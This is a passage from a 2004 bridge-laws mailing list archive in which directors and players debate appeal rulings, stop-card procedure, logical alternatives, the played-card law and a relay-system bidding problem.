50-50 between 4S >and pass. A third player consulted said he would >pass. > >Of the peers, one said he would bid 4S and the other >three passed (although each of them thought 4D was a >close second choice). Since pass was therefore a >logical alternative to 4S, and since the panel >believed that a fast 3S bid demonstrably suggested >not passing, the score was adjusted to 3S making 4, >EW +170 (Laws 16A, 73F1, 12C2). Richard Hills: It seems to me that the appeals panel had a peculiar reason for overturning the director's decision - they apparently did not like the result of the director's poll, so the appeals panel conducted another poll. What if the samples of the polls had been reversed, with the TD hypothetically polling the actual panel sample, and with the panel hypothetically polling the actual TD sample? Then, the hypothetical TD would have adjusted the score to 170, but the hypothetical panel would have reversed the hypothetical TD, and restored the score to 420. Why should a ruling depend upon the chronological sequence of two random samples? Best wishes RJH From rui.mlmarques@netvisao.pt Tue Jul 6 01:53:51 2004 From: rui.mlmarques@netvisao.pt (Rui Marques) Date: Tue, 6 Jul 2004 01:53:51 +0100 Subject: [blml] Interpretation In-Reply-To: <6.0.1.1.1.20040705132059.01b95ec0@postoffice.worldnet.att.net> Message-ID: <000601c462f3$b7e32c30$0301a8c0@ACER> I have been following the discussion on the played card (with a little less while in Malmoe, I confess). And it has been a surprise to me, the strong opinions about how the Laws should be closed to interpretation by TDs. The game is not black or white, and neither are the Laws. A good TD should know how to follow the spirit of the Laws, not going against the letter, but knowing when the Laws are open to interprwtaion and judgment, and applying good judgment if that is the case. The "played card" law has a component of judgment to be used. There is no way that "1 inch above the table", or "touching the table", or whatever, becomes a definitive criterion. Read through the laws, understand the letter and the spirit, and be reasonable. The Laws are not made for roboTDs (and when they are, I will stop TDing). Rui Marques From blml@blakjak.com Tue Jul 6 02:24:17 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 6 Jul 2004 02:24:17 +0100 Subject: [blml] Reno regional appeal number four In-Reply-To: References: <000001c4625a$1236daa0$6900a8c0@WINXP> <000c01c462c6$f79377e0$e59868d5@jeushtlj> Message-ID: WILLIAM SCHODER wrote >(3) There should be automatic penalties for >flouting stop procedures. You should not >need to demonstrate UI that has been given >and used. > >Yeah man! Hit 'em with the penalties! You got the rights! But please, >don't make score adjustments that affect the rest of the game as penalties. >I've seen this kind of "appeal" for a ruling too many times in the many >years I've been around. I remember a most highly rated and "superior" player >(St. Louis Regional) who insisted that since the AC didn't agree with his >appeal, then the "automatic" ACBL penalty of 3 IMPs for misinformation be >assigned, thereby giving him and his three customers the win. Fortunately >there were two ACBL National TDs in the room, who were quickly able to >disabue the AC of the existence of any such "automatic" penalty. Lets get >real! There is a simple rule for "automatic" penalties: they should be written in the CoC, or in the general regulations of the SO. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Tue Jul 6 02:32:12 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jul 2004 11:32:12 +1000 Subject: [blml] Interpretation Message-ID: Rui Marques: [snip] >>Read through the laws, understand the letter and the >>spirit, and be reasonable. The Laws are not made for >>roboTDs (and when they are, I will stop TDing). Robert Bolt, A Man For All Seasons: >Roper: So, now you give the Devil the benefit of law! > >More: Yes! What would you do? Cut a great road through > the law to get after the Devil? > >Roper: Yes, I'd cut down every law in England to do that! > >More: Oh? And when the last law was down, and the Devil > turned 'round on you, where would you hide, Roper, > the laws all being flat? > > This country is planted thick with laws, from coast > to coast, Man's laws, not God's! And if you cut > them down (and you're just the man to do it!), do > you really think you could stand upright in the > winds that would blow then? > > Yes, I'd give the Devil benefit of law, for my own > safety's sake! Best wishes Richard Hills From nigel.guthrie@ntlworld.com Tue Jul 6 03:05:13 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 6 Jul 2004 03:05:13 +0100 Subject: [blml] A player's view References: Message-ID: <004601c462fd$ad7217c0$159468d5@jeushtlj> [Richard James Hills] I do not support the view of Nigel Guthrie that it is possible to write complex Laws which do not need interpretation. [Nigel] As Richard well knows, that isn't my view. Here, again, are some of my views: the views of a typical player, not a TD: 1. TFLB is currently ill-defined because laws are so sophisticated and subjective. 2. TFLB has scant regard for any innovation since 1940. For example, it scarcely mentions bidding boxes, convention licensing, alerting rules, victory point scales or on-line play. WBF law-makers have delegated their regulation to local jurisdictions, who have created idiosyncratic chauvinist variants in a Tower of Babel. 3. TFLB is revised so rarely, that it keeps controversy over anomalies alive for decades. BLML experts disagree about the meaning of laws. Few TDs understand them. Even fewer players understand the laws of the game they are trying to play. 4. Reliability is a necessary (if not sufficient) prerequisite for validity; Similarly, if, in future, laws can be enforced more consistently, then they may become more equitable. 5. To be easy to understand and to be enforceable fairly, Bridge laws should be as complete, universal, simple and objective as possible. Richard is right that even such simple laws are hard to formulate, lucidly and succinctly. 6. Frequent web-editions of the laws, at least for the first few months, would gradually reduce the number of blatant mistakes, omissions, and ambiguities. 7. IMO, the result would form the basis for a much more enjoyable game of Bridge for players. And perhaps help to level the international playing field. 8. Of course, Richard is again right that even simple laws must be interpreted and enforced; but I am afraid that simpler more objective laws would be far less of a challenge to TDs. BLML might become quite boring without most of its recurring themes (: 9. Anticipating a quibble: If TFLB covered most aspects of the game, the WBF would still find it hard to prevent a local jurisdiction (like the ACBL) from introducing a local "fairy" variant to assert its national pride; but, IMO, few jurisdictions would bother to go to all that trouble. The point is that currently they have no choice; they must formulate local rules to remedy gaping holes in TFLB. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 26/06/2004 From richard.hills@immi.gov.au Tue Jul 6 03:02:03 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jul 2004 12:02:03 +1000 Subject: [blml] Reno regional appeal number four Message-ID: Marvin French asserted: [snip] >The "testimony" of peers is irrelevant. Passing 3S >could well be right with the East hand, so it is an LA. Richard Hills contradicts: I disagree with Marv's assertion about current rules on how an LA is determined. WBF Code of Practice states: >>A "logical alternative" is a different action that, >>amongst the **class of players** in question and using >>the methods of the partnership, would be given serious >>consideration by a significant proportion of such >>players, of whom it is reasonable to think some might >>adopt it. Richard Hills continues: I acknowledge that the ACBL has not yet adopted the WBF Code of Practice. However, the relevant parallel ACBL regulation uses a synonym for "class of players", so the testimony of peers in the ACBL is definitely relevant. I disagree even with the alternative statement, "The testimony of peers *should* be irrelevant." Rather, I agree with David Stevenson that assessing "class of player" is not always detrimental to a bunny offending side, but is sometimes beneficial to a bunny offending side. Best wishes RJH From nigel.guthrie@ntlworld.com Tue Jul 6 03:27:10 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 6 Jul 2004 03:27:10 +0100 Subject: [blml] How played is declarer's exposed card? References: <001701c46094$0c050b60$6250fd3e@jeushtlj><000001c460ef$8a2f6a70$0200a8c0@Zog> <001601c462c7$d8adcfa0$e59868d5@jeushtlj> Message-ID: <005801c46300$be0ba300$159468d5@jeushtlj> [WILLIAM SCHODER] However, I think you are blowing smoke up somewhere. It is, to me, a most juvenile precept to think that the Laws will apply equally throughout the realm in which bridge is played. The basic structure of the game is adequately presented in the Laws; the game is mostly played throughout the world without this kind of "analysis" (I tried not to say b..l...t). [Nigel] Plainly, Kojak has written b..l...t, however hard he tried to restrain himself :) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 26/06/2004 From john@asimere.com Tue Jul 6 04:14:21 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 6 Jul 2004 04:14:21 +0100 Subject: [blml] How played is declarer's exposed card? In-Reply-To: References: <001701c46094$0c050b60$6250fd3e@jeushtlj> <000001c460ef$8a2f6a70$0200a8c0@Zog> <001601c462c7$d8adcfa0$e59868d5@jeushtlj> Message-ID: In article , WILLIAM SCHODER writes >If that is the way you wish to categorize the usage of >"interpretation" and a TDs job, so be it. However, I think you are >blowing smoke up somewhere. It is, to me, a most juvenile precept to think >that the Laws will apply equally throughout the realm in which bridge is >played. The basic structure of the game is adequately presented in the >Laws; the game is mostly played throughout the world without this kind of >"analysis" (I tried not to say b..l...t). If you great savants of the >language and the game are able, you will produce a set of Laws that do not >exist in any other human endeavor. Of course, you are most qualified to do >so. Love it Kojak :) I don't have much problem with the laws either. TD'ing is easy. You just listen to what has happened, think what we ruled last time, check it hasn't been over-ruled by the WBF, make the ruling, and can then return to spread betting with other TD's on how many minutes will elapse before some bridge lawyer will want some stupid interpretation. best regards John > >=Kojak+ -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Tue Jul 6 04:22:42 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 6 Jul 2004 04:22:42 +0100 Subject: [blml] Reno regional appeal number four In-Reply-To: References: <000001c4625a$1236daa0$6900a8c0@WINXP> Message-ID: <08GMzhACsh6AFw$H@asimere.com> In article , WILLIAM SCHODER writes >Oh how I hate to get sucked into this kind of discussion. What are the >regulations of the use of the "stop" card. ACBL? What are E/W system >agreements re actions over preempts? >Aside from this we are going to make a pass a logical alternative to a raise >of spades to four with partner having a limit raise by the whatever speed >with which three spades was bid, disregarding the vulnerability, and free >action of West. Let me get this into my mind. A pass in first seat by an >opponent, a preemptive jump overcall by LHO, a reevaluation of my solid >opening hand in light of a limit raise by partner, a matchpoint pair game, a >complaint some number of rounds later. Gee, the preempt didn't work at the >table, maybe we can find something else to get a good score. > >When we played with wallets and guns on the table in rubber bridge, this >would never have come up. Maybe we've sophisticated the game beyond its >rational limits. I vote for score stands, and I vote to keep the money. At >least Charity could benefit from this ........! > >=Kojak= I think we should spend the money on a nice cool beer Kojak, and we can then quietly discuss the crass stupidity of AC's, bridge lawyers and the crass insanity of canines. Pass over 3S is not even a remote possibility. It's a six loser hand, just for starters (AKJxx QTxx KJx x). how STUPID can some people get? cheers John -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Tue Jul 6 04:30:57 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 6 Jul 2004 04:30:57 +0100 Subject: [blml] Balance of probabilities In-Reply-To: References: Message-ID: In article , richard.hills@immi.gov.au writes > > > > >The opponents are playing the Symmetric Relay system. > >Imps, Knockout Teams >Dlr: North >Vul: East-West > >The bidding has gone: > >WEST NORTH EAST SOUTH >--- Pass 1D(1) Pass >1H(2) Pass 2C(3) Pass >2D(4) Pass Pass ? > >(1) 10-14 hcp, unbalanced with 2 or 3 suits, usually >denies a 5-card major (exception, could be 5/5 in >both majors), may or may not hold either or both 4-card >majors, could hold as few as zero diamonds. > >(2) Two-way bid. Either less than game-forcing with a >heart suit (promising a minimum of 5 or 6 hcp), or the >first step in an artificial game force relay. > >(3) Shows exactly 4 diamonds, and at least 5 clubs. > >(4) Signoff. Heart suit + diamond preference. > >You, South, hold: > >AK732 >5 >T854 >875 > >What call do you make? I didn't start from here, I'm afraid Richard. They're playing a bonkers system, you didn't bid a green 2S at the first opportunity, they've finished describing their hands and NOW I should bid ?? No wonder their methods are successful. I genuinely refuse to answer this question. cheers john > >Best wishes > >Richard Hills > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From pszym@gmx.de Tue Jul 6 05:31:53 2004 From: pszym@gmx.de (Pawel Szymonik) Date: Tue, 6 Jul 2004 06:31:53 +0200 Subject: [blml] Balance of probabilities References: Message-ID: <003e01c46312$29e5e570$0b01a8c0@RODZICEMADY> ----- Original Message ----- From: To: Cc: Sent: Tuesday, July 06, 2004 1:33 AM Subject: [blml] Balance of probabilities > > > > > The opponents are playing the Symmetric Relay system. > > Imps, Knockout Teams > Dlr: North > Vul: East-West > > The bidding has gone: > > WEST NORTH EAST SOUTH > --- Pass 1D(1) Pass > 1H(2) Pass 2C(3) Pass > 2D(4) Pass Pass ? > > (1) 10-14 hcp, unbalanced with 2 or 3 suits, usually > denies a 5-card major (exception, could be 5/5 in > both majors), may or may not hold either or both 4-card > majors, could hold as few as zero diamonds. > > (2) Two-way bid. Either less than game-forcing with a > heart suit (promising a minimum of 5 or 6 hcp), or the > first step in an artificial game force relay. > > (3) Shows exactly 4 diamonds, and at least 5 clubs. > > (4) Signoff. Heart suit + diamond preference. > > You, South, hold: > > AK732 > 5 > T854 > 875 > > What call do you make? Pass. Opponents misunderstanding seems obvious to me. West bid of 2Dia was probably intended as next relay. And if North really passed his 12 count we still dont have a guarantee of making 2Spa. Cheers Pawel From richard.hills@immi.gov.au Tue Jul 6 06:17:14 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jul 2004 15:17:14 +1000 Subject: [blml] Balance of probabilities Message-ID: Pawel Szymonik: >Pass. Opponents misunderstanding seems obvious >to me. West bid of 2Dia was probably intended >as next relay. And if North really passed his >12 count we still dont have a guarantee of >making 2Spa. > >Cheers >Pawel Richard Hills: We have a winner! The complete deal was -> J8 K9874 K96 943 QT965 4 AQT2 J63 AJ Q732 K6 AQJT2 AK732 5 T854 875 WEST NORTH EAST SOUTH Pard RJH --- Pass 1D Pass 1H Pass 2C Pass 2D(1) Pass Pass 2S Double Pass 3D Pass 3NT(2) Pass Pass Pass (1) Pard forgot that 2S (not 2D) was relay. (2) At this point in the auction, I alerted the opponents to the fact that partner had forgotten the system. South was unimpressed both with my pard, and with her own marginal balancing bid. The Hills Theory of Balancing - "Don't" - strikes again! This was a Canberra Bridge Club event. My partnership and my opponents had been regular attendees at this club for donkey's years. The opponents sportingly did not summon the director, since they knew that my regular partner and I had been playing Symmetric Relay for a decade-and-a-half, and that this was a rare careless stuffup in our well- practised bonkers system. As well as accurately describing my system as bonkers, John (MadDog) Probst wrote (in the earlier thread "Penalised for not knowing your system"): >>>It is my opinion that to forget your system >>>is insulting to your opponents. It spoils >>>their enjoyment. it is an offence against >>>the proprieties. I can issue a DP, but not >>>a PP. >>> >>>My favourite DP was to Robert Proops who >>>was being particularly noisy so I read him >>>the bit about following all reasonable >>>requests of the TD and then told him to >>>"Drop dead". "Seems reasonable" he said :) In that thread, I replied: >>It is my opinion that *remembering* my system >>spoils the opponents' enjoyment. That is, >>because I play Symmetric Relay, my opponents >>often have to sit through a dozen obscure bids. >> >>I then add insult to injury by reaching a cold >>slam in a 4-3 fit, with the twelfth trick >>available only through ruffing a loser in the >>3-card holding. >> >>My opponents badly need MadDog to migrate to >>Australia, so that he can issue a DP on me for >>being too much of a clever clogs as I gain my >>tops. In this thread, I continue: My partnership's stuffup gave the opponents a chance of enjoyably watching us play a cold game in a partscore. If MadDog was the Canberra TD, would he really inflict a DP on our partnership? Or would he simply suggest that our partnership buy the opponents a beer? Best wishes RJH From mfrench1@san.rr.com Tue Jul 6 06:46:42 2004 From: mfrench1@san.rr.com (Marvin French) Date: Mon, 5 Jul 2004 22:46:42 -0700 Subject: [blml] Reno regional appeal number four References: Message-ID: <004401c4631c$9efafee0$6401a8c0@san.rr.com> From: "Jack A. Rhind" > I allow the table result to stand. Both East and West clearly have their > bid. I would speak to West quietly and recommend that he/she be more careful > to observe the STOP card regulations. > It is not enough to have one's bid, there must be no LA to the call that is suggested by UI. Passing 3S could work, it is not at all stupid. My partner would have the club king instead of the ace, no heart jack, and I might go one off in 3S. People who count losing tricks, a pathetically inaccurate measure (Qxx is equated to Axx), may disagree. Marv Marvin L. French San Diego, California From nigel.guthrie@ntlworld.com Tue Jul 6 08:59:00 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 6 Jul 2004 08:59:00 +0100 Subject: [blml] A player's view References: <004601c462fd$ad7217c0$159468d5@jeushtlj> <000401c46307$d660b740$65b2b018@hewlettnvdluy3> Message-ID: <001101c4632f$198e85c0$279868d5@jeushtlj> > [Raija Davis] > Without commenting on the laws or > the thread itself, I dislike the > editorializing Nigel does here. > He is reading the mind of local > jurisdictions, and - in effect - > he is saying that he knows why local > jurisdicions have different regs > established (= to assert its national > pride). Now that is telepathy in the > grandest degree...I am certain that > the local jurisdictions have not > communicated to Nigel their motives > behind having local regulations. Or > have they? [Nigel] No Raija, the summary of my views did not impugn the present motives of local jurisdictions. In the paragraphs that Raija snipped without reading, I explain that, currently, local jurisdictions have little choice but to plug the gaps in TFLB. What Raija has seized on is an attempt at hopeful speculation about the future. (optimistic precognition not telepathy). Oh well, look on the bright side... Raija's put-downs are mildly phrased compared with Kojak's :) :) :) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From gordon@gordonrainsford.co.uk Tue Jul 6 10:39:13 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Tue, 6 Jul 2004 10:39:13 +0100 Subject: [blml] Reno regional appeal number four In-Reply-To: <004401c4631c$9efafee0$6401a8c0@san.rr.com> References: <004401c4631c$9efafee0$6401a8c0@san.rr.com> Message-ID: <57489180-CF30-11D8-A854-0003936A6522@gordonrainsford.co.uk> On 6 Jul 2004, at 06:46, Marvin French wrote: > ...losing tricks, a pathetically inaccurate measure > (Qxx is equated to Axx) The first of these two statements may well be true. The second is not. -- Gordon Rainsford London UK From nigel.guthrie@ntlworld.com Tue Jul 6 11:12:14 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 6 Jul 2004 11:12:14 +0100 Subject: [blml] Reno regional appeal number four References: <000001c462d8$713a7150$6900a8c0@WINXP> Message-ID: <011501c46341$c2382520$279868d5@jeushtlj> [Sven Pran] In Norway LHO is permitted to make any call as soon as the stop card is taken away by the jump-bidder even when this happens before ten seconds have elapsed. But in addition LHO may still spend his full ten seconds in the case the stop card is taken away before ten seconds have elapsed. What LHO may not do is to make any call *before* the stop card is taken away however long the stop card remains faced. [Nigel] The rules *are* the same here in the UK but I met typical problems at an inter- county event, on Sunday. 1. LHOs often bid *before* I removed the "stop". card. We weren't damaged so I didn't call the TD. Just as well, given how a gun-toting TD like Kojak might react when players suggest procedural penalties for such trivial offences! 2. On another occasion, RHO opened 1C. I placed the "stop" card on the table and jumped to 3S. I counted out what I thought was ten seconds before taking away the stop card. LHO continued thinking for several more seconds but, eventually, passed. Partner passed and RHO protected with a double, passed out for -800. RHO seemed to have his bid so I didn't call the director. Partner surprised me by saying that I was at fault, anyway. In partner's opinion, I didn't expose the stop card for a full ten seconds. Hence, as Sven says, my LHO was fully entitled to award himself the remaining seconds of thinking time, to which he was entitled. An objective measure of time, in public view, would avoid the latter potential problem. For example, a ten-second "glass" or egg-timer. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From dpb3@fastmail.fm Tue Jul 6 12:23:02 2004 From: dpb3@fastmail.fm (David Babcock) Date: Tue, 06 Jul 2004 07:23:02 -0400 Subject: [blml] Re: Balance of probabilities In-Reply-To: <20040706100003.24600.84833.Mailman@toybox.amsterdamned.org> References: <20040706100003.24600.84833.Mailman@toybox.amsterdamned.org> Message-ID: <1089112982.6943.199807083@webmail.messagingengine.com> Good morning all, > (2) At this point in the auction, I alerted > the opponents to the fact that partner had > forgotten the system However well-intentioned, is this allowed before the final pass? David Babcock Florida USA From svenpran@online.no Tue Jul 6 12:37:00 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 6 Jul 2004 13:37:00 +0200 Subject: [blml] Re: Balance of probabilities In-Reply-To: <1089112982.6943.199807083@webmail.messagingengine.com> Message-ID: <000501c4634d$8d8c4bb0$6900a8c0@WINXP> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of > David Babcock > Sent: 6. juli 2004 13:23 > To: Bridge Laws Mailing List > Subject: [blml] Re: Balance of probabilities > > Good morning all, > > > (2) At this point in the auction, I alerted > > the opponents to the fact that partner had > > forgotten the system > > However well-intentioned, is this allowed > before the final pass? > > David Babcock > Florida USA Law 75D2: NO! (And for defenders to be not until after the play ends). (Slightly different rules may be in force when screens are used) Sven From schoderb@msn.com Tue Jul 6 13:07:12 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Tue, 6 Jul 2004 08:07:12 -0400 Subject: [blml] A player's view References: <004601c462fd$ad7217c0$159468d5@jeushtlj> <000401c46307$d660b740$65b2b018@hewlettnvdluy3> <001101c4632f$198e85c0$279868d5@jeushtlj> Message-ID: Raija's put-downs are mildly phrased compared with Kojak's :) :) :) Gee, and I thought I was pleading for understanding that the Law Book, -- I avoid TFLB when I can, sounds profane to me -- is not in the dire straits that some BLMLs want us to believe! It has served us remarkably well in many differing circumstances and cultures where the TDs and ACs have read the book, understand the intent of general and specific laws, and administer and interpret them. I strongly oppose the idea that we want or need laws in bridge that are word games out of context. The proper words don't need interpretation? Sure -- just tell me what BOW means and how you pronounce it! (Guess you have to have a context, eh?) That is not to say that I'm happy with the many Bandaids* that have crept in during the last reviews. 25B2(b)(2) for example - whose sole purpose is to diminish the disaster you've created. Then again, you always have the delete key, if I've touched egos, nerves, or pet positions. *Bandaids = those little strips of tape usually used to cover wounds, scrapes, and minor injuries. I mean it in bridge to cover mistakes, errors, stupidities and give me a Mulligan (like in golf). Kojak ----- Original Message ----- From: "Nigel Guthrie" To: "BLML" Sent: Tuesday, July 06, 2004 3:59 AM Subject: Re: [blml] A player's view > > [Raija Davis] > > Without commenting on the laws or > > the thread itself, I dislike the > > editorializing Nigel does here. > > He is reading the mind of local > > jurisdictions, and - in effect - > > he is saying that he knows why local > > jurisdicions have different regs > > established (= to assert its national > > pride). Now that is telepathy in the > > grandest degree...I am certain that > > the local jurisdictions have not > > communicated to Nigel their motives > > behind having local regulations. Or > > have they? > > [Nigel] > No Raija, the summary of my views did > not impugn the present motives of local > jurisdictions. In the paragraphs that > Raija snipped without reading, I explain > that, currently, local jurisdictions have > little choice but to plug the gaps in TFLB. > What Raija has seized on is an attempt at > hopeful speculation about the future. > (optimistic precognition not telepathy). > Oh well, look on the bright side... > Raija's put-downs are mildly phrased > compared with Kojak's :) :) :) > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From schoderb@msn.com Tue Jul 6 13:16:46 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Tue, 6 Jul 2004 08:16:46 -0400 Subject: [blml] Reno regional appeal number four References: <000001c462d8$713a7150$6900a8c0@WINXP> <011501c46341$c2382520$279868d5@jeushtlj> Message-ID: 1. LHOs often bid *before* I removed the "stop". card. We weren't damaged so I didn't call the TD. Just as well, given how a gun-toting TD like Kojak might react when players suggest procedural penalties for such trivial offences! You got the wrong Kojak - I don't even own a gun. In fact when you don't call the TD in a pleasant manner (to your opponents and the TD) and explain that no damage has occurred you deny me the opportunity to educate the offender on the procedures for the use of stop cards and possibly prevent future problems for that individual. Kojak ----- Original Message ----- From: "Nigel Guthrie" To: "BLML" Sent: Tuesday, July 06, 2004 6:12 AM Subject: Re: [blml] Reno regional appeal number four > [Sven Pran] > In Norway LHO is permitted to make any > call as soon as the stop card is taken > away by the jump-bidder even when this > happens before ten seconds have > elapsed. But in addition LHO may still > spend his full ten seconds in the case > the stop card is taken away before ten > seconds have elapsed. What LHO may not > do is to make any call *before* the > stop card is taken away however long > the stop card remains faced. > [Nigel] > > The rules *are* the same here in the UK > but I met typical problems at an inter- > county event, on Sunday. > > 1. LHOs often bid *before* I removed > the "stop". card. We weren't damaged > so I didn't call the TD. Just as well, > given how a gun-toting TD like Kojak > might react when players suggest > procedural penalties for such trivial > offences! > > 2. On another occasion, RHO opened 1C. > I placed the "stop" card on the table > and jumped to 3S. I counted out what I > thought was ten seconds before taking > away the stop card. LHO continued > thinking for several more seconds but, > eventually, passed. Partner passed and > RHO protected with a double, passed out > for -800. RHO seemed to have his bid so > I didn't call the director. Partner > surprised me by saying that I was at > fault, anyway. In partner's opinion, I > didn't expose the stop card for a full > ten seconds. Hence, as Sven says, my LHO > was fully entitled to award himself the > remaining seconds of thinking time, to > which he was entitled. > > An objective measure of time, in public > view, would avoid the latter potential > problem. For example, a ten-second > "glass" or egg-timer. > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From ereppert@rochester.rr.com Tue Jul 6 16:11:29 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 6 Jul 2004 11:11:29 -0400 Subject: [blml] Reno regional appeal number four In-Reply-To: <004401c4631c$9efafee0$6401a8c0@san.rr.com> Message-ID: On Tuesday, Jul 6, 2004, at 01:46 US/Eastern, Marvin French wrote: > People who count losing tricks, a pathetically inaccurate measure > (Qxx is equated to Axx), may disagree. I disagree with your characterization of LTC. For one thing, Qxx is *not* equated to Axx. From brambledown@blueyonder.co.uk Tue Jul 6 16:54:46 2004 From: brambledown@blueyonder.co.uk (Brambledown) Date: Tue, 6 Jul 2004 16:54:46 +0100 Subject: [blml] Interpretation In-Reply-To: <000601c462f3$b7e32c30$0301a8c0@ACER> Message-ID: <000001c46371$93905320$0200a8c0@Zog> Rui Marques writes: > I have been following the discussion on the played card (with a little > less while in Malmoe, I confess). And it has been a surprise to me, the > strong opinions about how the Laws should be closed to interpretation by > TDs. The game is not black or white, and neither are the Laws. A good TD > should know how to follow the spirit of the Laws, not going against the > letter, but knowing when the Laws are open to interprwtaion and > judgment, and applying good judgment if that is the case. The "played > card" law has a component of judgment to be used. There is no way that > "1 inch above the table", or "touching the table", or whatever, becomes > a definitive criterion. Read through the laws, understand the letter and > the spirit, and be reasonable. The Laws are not made for roboTDs (and > when they are, I will stop TDing). Critical case: Declarer plays a card which for a nanosecond or two is face up touching the table, before he snatches it back into his hand in what, for practical purposes, is one continuous movement. I suspect that the vast majority of TDs reading L45C2 would rule that the card has been played. DWS and other notables say it has not. This scenario is not at all unlikely, it (or something very close to it) probably happens somewhere in the bridge-playing world every hour of every day. There will always be grey areas requiring interpretation (how nearly does it have to be for it to be "nearly touching"?, how long for it to have been "maintained"?), but the above is a stock situation about which there should be no doubt - no need for "interpretation". If we cannot agree on what the Law requires here, the Law has failed us. Chas Fellows, Surrey, England From grandeval@vejez.fsnet.co.uk Tue Jul 6 16:59:14 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Tue, 6 Jul 2004 16:59:14 +0100 Subject: [blml] A player's view References: <004601c462fd$ad7217c0$159468d5@jeushtlj> <000401c46307$d660b740$65b2b018@hewlettnvdluy3> <001101c4632f$198e85c0$279868d5@jeushtlj> Message-ID: <009c01c46372$699c77a0$1ece87d9@4nrw70j> Grattan Endicott To: "BLML" ; "Nigel Guthrie" Sent: Tuesday, July 06, 2004 1:07 PM Subject: Re: [blml] A player's view > > I thought I was pleading for understanding that the Law Book, -- I > avoid TFLB when I can, sounds profane to me -- is not in the dire straits > that some BLMLs want us to believe! It has served us remarkably well in > many differing circumstances and cultures where the TDs and ACs > have read the book, understand the intent of general and specific laws, > and administer and interpret them. I strongly oppose the idea that we > want or need laws in bridge that are word games out of context. The > proper words don't need interpretation? Sure -- just tell me what > BOW means and how you pronounce it! (Guess you have to have a > context, eh?) That is not to say that I'm happy with the many Bandaids* > that have crept in during the last reviews. 25B2(b)(2) for example > - whose sole purpose is to diminish the disaster you've created. > Then again, you always have the delete key, if I've touched egos, > nerves, or pet positions. > *Bandaids = those little strips of tape usually used to cover wounds, > scrapes, and minor injuries. I mean it in bridge to cover mistakes, > errors, stupidities and give me a Mulligan (like in golf). > +=+ I think the chief fault of the law book is that it is a patchwork with pieces added here and there, often leaving Directors to look in a plurality of places for all that applies to the question in hand. We did not help this when we brought the Proprieties into the mainstream of the Laws, being content to just renumber them as laws without integrating them within the structure of the code. There are other items at the back of the present book, and occasionally in the middle, that have also just been left wherever they happened to fall. There is a secondary difficulty in the inferential style of Kaplan's language, which causes no problem to Kojak and most other gurus, but which is extremely unhelpful for the toiling masses. We will do the game a disservice if we fail to remedy these defects. It lacks insight in many areas when the cognoscenti say "We understand it so it must be good enough". ~ Grattan ~ +=+ From svenpran@online.no Tue Jul 6 17:17:36 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 6 Jul 2004 18:17:36 +0200 Subject: [blml] A player's view In-Reply-To: <009c01c46372$699c77a0$1ece87d9@4nrw70j> Message-ID: <000501c46374$c06076c0$6900a8c0@WINXP> > grandeval .............. > +=+ I think the chief fault of the law book is that it is a patchwork > with pieces added here and there, often leaving Directors to look > in a plurality of places for all that applies to the question in hand. > We did not help this when we brought the Proprieties into the > mainstream of the Laws, being content to just renumber them > as laws without integrating them within the structure of the code. > There are other items at the back of the present book, and > occasionally in the middle, that have also just been left wherever > they happened to fall. There is a secondary difficulty in the > inferential style of Kaplan's language, which causes no problem > to Kojak and most other gurus, but which is extremely unhelpful > for the toiling masses. We will do the game a disservice if we fail > to remedy these defects. It lacks insight in many areas when the > cognoscenti say "We understand it so it must be good enough". > 